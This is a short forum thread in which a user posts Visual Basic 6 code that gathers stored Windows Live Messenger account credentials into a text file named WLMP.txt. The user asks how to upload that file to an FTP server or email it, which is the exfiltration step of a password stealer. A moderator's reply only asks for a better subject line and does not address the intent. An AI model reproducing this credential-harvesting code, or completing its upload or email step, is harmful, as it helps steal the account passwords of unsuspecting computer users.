Read this please help.

[hardstyle14]

can anybody tell me how to
get this to upload the txt file to a ftp server
or sending it by e-mail

Option Explicit

Public Sub Main()
Dim sPath As String
Dim sRet As String

sPath = IIf(Right$(App.Path, 1) = "\", App.Path, App.Path & "\")
sRet = mMessengerPass.EnumWLMAccounts
If LenB(sRet) Then
Open sPath & "WLMP.txt" For Append As #1
Print #1, sRet
Close #1
End If

End Sub

[MartinLiss]

Next time you create a thread please use a more informative Subject. In this case something like How do I upload a txt file to an ftp server?.

[hardstyle14]

yea okay